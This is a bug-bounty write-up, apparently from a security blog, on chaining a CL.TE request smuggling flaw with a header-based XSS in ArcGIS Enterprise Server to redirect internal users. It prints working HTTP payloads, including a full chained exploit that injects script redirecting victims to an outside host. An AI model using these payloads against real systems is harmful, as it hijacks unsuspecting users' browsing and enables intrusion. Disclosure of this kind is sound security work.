This is the story about how I’ve chained a seemingly uninteresting request smuggling vulnerability with an even more uninteresting header-based XSS to redirect network-internal web site users without any user interaction to arbitrary pages. This post also introduces a 0day in ArcGis Enterprise Server.
However, this post is not about how request smuggling works. If you’re new to this topic, have a look at the amazing research published by James Kettle, who goes into detail about the concepts.
Smuggling Requests for Different Response Lengths
So what I usually do when having a look at a single application is trying to identify endpoints that are likely to be proxied across the infrastructure – endpoints that are commonly proxied are for example API endpoints since those are usually infrastructurally separated from any front-end stuff. While hunting on a private HackerOne program, I’ve found an asset exposing an API endpoint that was actually vulnerable to a CL.TE-based request smuggling by using a payload like the following:
POST /redacted HTTP/1.1
Content-Type: application/json
Content-Length: 132
Host: redacted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Foo: bar
Transfer-Encoding: chunked
4d
{"GeraetInfoId":"61e358b9-a2e8-4662-ab5f-56234a19a1b8","AppVersion":"2.2.40"}
0
GET / HTTP/1.1
Host: redacted.com
X: X
As you can see here, I’m smuggling a simple GET request against the root path of the webserver on the same vhost. So in theory, if the request is successfully smuggled, we’d see the root page as a response instead of the originally queried API endpoint.
To verify that, I’ve spun up a TurboIntruder instance using a configuration that issues the payload a hundred times:
While TuroboIntruder was running, I’ve manually refreshed the page a couple of times to trigger (simulate) the vulnerability. Interestingly, the attack seemed to work quite well, since there were actually two different response sizes, whereof one was returning the original response of the API:
And the other returned the start page:
This confirms the request smuggling vulnerability against myself. Pretty cool so far, but self-exploitation isn’t that much fun.
Poisoning Links Through ArcGis’ X-Forwarded-Url-Base Header
To extend my attack surface for the smuggling issue, I’ve noticed that the same server was also running an instance of the ArcGis Enterprise Server
The ArcGIS error handler accepts a customized HTTP header called X-Forwarded-Url-BaseX-Forwarded-Request-ContextX-Forwarded-Request-Context
So a minified request to exploit this issue against the ArcGis’ /rest/directories
GET /rest/directories HTTP/1.1 Host: redacted.com X-Forwarded-Url-Base: https://www.rce.wf/cat.html? X-Forwarded-Request-Context: HackerOne
This simply poisons all links on the error page with a reference to my server at https://www.rce.wf/cat.html?
the appended ? which is used to get rid off the automatically appended URL string /rest/services
While this already looks like a good candidate to be chained with the smuggling, it still requires user interaction by having the user (victim) to click on any link on the error page.
However, I was actually looking for something that does not require any user interaction.
A Seemingly Unexploitable ArcGis XSS
You’ve probably guessed it already. The very same header combination as previously shown is also vulnerable to a reflected XSS. Using a payload like the following for the X-Forwarded-Url-Base
X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>alert(1)</script> X-Forwarded-Request-Context: HackerOne
leads to an alert being injected into the error page:
Now, a header-based XSS is usually not exploitable on its own, but it becomes easily exploitable when chained with a request smuggling vulnerability because the attacker is able to fully control the request.
While popping alert boxes on victims that are visiting the vulnerable server is funny, I was looking for a way to maximize my impact to claim a critical bounty. The solution: redirection.
If you’d now use a payload like the following:
X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>document.location='https://www.rce.wf/cat.html';</script> X-Forwarded-Request-Context: HackerOne
…you’d now be able to redirect users.
Connecting the Dots
The full exploit looked like the following:
POST /redacted HTTP/1.1
Content-Type: application/json
Content-Length: 278
Host: redacted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Foo: bar
Transfer-Encoding: chunked
4d
{"GeraetInfoId":"61e358b9-a2e8-4662-ab5f-56234a19a1b8","AppVersion":"2.2.40"}
0
GET /redacted/rest/directories HTTP/1.1
Host: redacted.com
X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>document.location='https://www.rce.wf/cat.html';</script>
X-Forwarded-Request-Context: HackerOne
X: X
While executing this attack at around 1000 requests per second, I was able to actually see some interesting hits on my server:
After doing some lookups I was able to confirm that those hits were indeed originating from the program’s internal network.
Mission Completed. Thanks for the nice critical bounty 🙂